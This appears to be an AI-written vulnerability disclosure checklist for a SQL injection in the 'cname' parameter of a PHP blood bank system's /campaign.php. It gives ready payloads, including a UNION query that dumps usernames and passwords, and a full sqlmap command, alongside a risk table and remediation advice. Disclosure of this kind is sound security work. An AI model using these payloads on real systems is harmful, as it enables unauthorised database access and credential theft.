Apologies for the interruption in the previous report. I'll continue and complete the sixth vulnerability report in the "Structured Checklist" style below:
- Product Name: Blood Bank Management System In PHP With Source Code
- Version: V1.0
- Vulnerable File:
/campaign.php
- Vulnerability Type: SQL Injection
- Submitter: 1905589289
- Vendor Homepage: Blood Bank Management System
- Download Link: Download Source Code
- Application Module: Campaign Management
- Parameter Vulnerable:
cname
- Access Level Required: None (No authentication or authorization needed)
- Description:
The/campaign.php
script directly incorporates user input from thecname
parameter into SQL queries without proper sanitization or validation. This oversight allows attackers to inject malicious SQL code, enabling unauthorized database manipulations.
- Unauthorized Database Access: Potential to read sensitive data.
- Data Leakage: Exposure of confidential information.
- Data Tampering: Ability to modify or delete records.
- System Control: Possibility of full system compromise.
- Service Interruption: Disruption of normal operations.
cname=1111' AND (SELECT 4818 FROM (SELECT(SLEEP(5)))TWoD) AND 'VRXZ'='VRXZ&oname=11111&date=2024-12-12&time=11:11&location=1111111
cname=example' OR 1=1-- &oname=11111&date=2024-12-12&time=11:11&location=1111111
cname=1111' AND (SELECT 4818 FROM (SELECT(SLEEP(5)))TWoD) AND 'VRXZ'='VRXZ&oname=11111&date=2024-12-12&time=11:11&location=1111111
cname=1111' UNION ALL SELECT NULL, CONCAT(username, ':', password), NULL, NULL FROM users-- &oname=11111&date=2024-12-12&time=11:11&location=1111111
-
Identify the Vulnerable Parameter:
- The
cname
parameter in the/campaign.php
file is susceptible to SQL Injection.
- The
-
Execute the Attack with sqlmap:
sqlmap -u "localhost:8080/campaign.php" --data="cname=1111&oname=11111&date=2024-12-12&time=11:11&location=1111111" --batch --level=5 --risk=3 --random-agent --tamper=space2comment --dbms=mysql
-
Observation:
- The injected payload causes a delay (
SLEEP(5)
), indicating successful exploitation.
- The injected payload causes a delay (
Risk Category | Description |
---|---|
Confidentiality | Attackers could extract sensitive data from the database. |
Integrity | Possibility of data tampering, unauthorized modifications, or deletions. |
Availability | Malicious queries or data corruption could lead to service interruptions or downtime. |
Overall Severity | High – Requires immediate attention due to ease of exploitation (no login needed). |
-
Implement Prepared Statements & Parameter Binding
- Action: Utilize parameterized queries to ensure user inputs are always treated as data, not executable code.
- Benefit: Prevents attackers from injecting malicious SQL code by separating SQL logic from user inputs.
-
Enforce Input Validation & Sanitization
- Action: Strictly validate and sanitize all user inputs, ensuring the
cname
field adheres to expected formats (e.g., no special characters). - Benefit: Reduces the risk of malicious data being processed by the application.
- Action: Strictly validate and sanitize all user inputs, ensuring the
-
Apply Principle of Least Privilege
- Action: Restrict database user permissions to the minimum necessary for application functionality. Avoid using high-privilege accounts like
root
oradmin
. - Benefit: Minimizes potential damage if an attacker gains database access.
- Action: Restrict database user permissions to the minimum necessary for application functionality. Avoid using high-privilege accounts like
-
Conduct Regular Security Audits
- Action: Perform periodic code reviews and security assessments to identify and remediate vulnerabilities promptly.
- Benefit: Ensures ongoing application security and compliance with best practices.
- Vendor Homepage: Blood Bank Management System In PHP
- Download Source Code: Blood Donor Management System
- SQL Injection Overview: OWASP SQL Injection
This checklist is intended solely for responsible disclosure to the affected vendor or authorized parties. Unauthorized use or distribution of this information is prohibited and may lead to legal consequences. The vendor is urged to address the identified vulnerability immediately to protect user data and ensure system integrity.
End of Security Vulnerability Checklist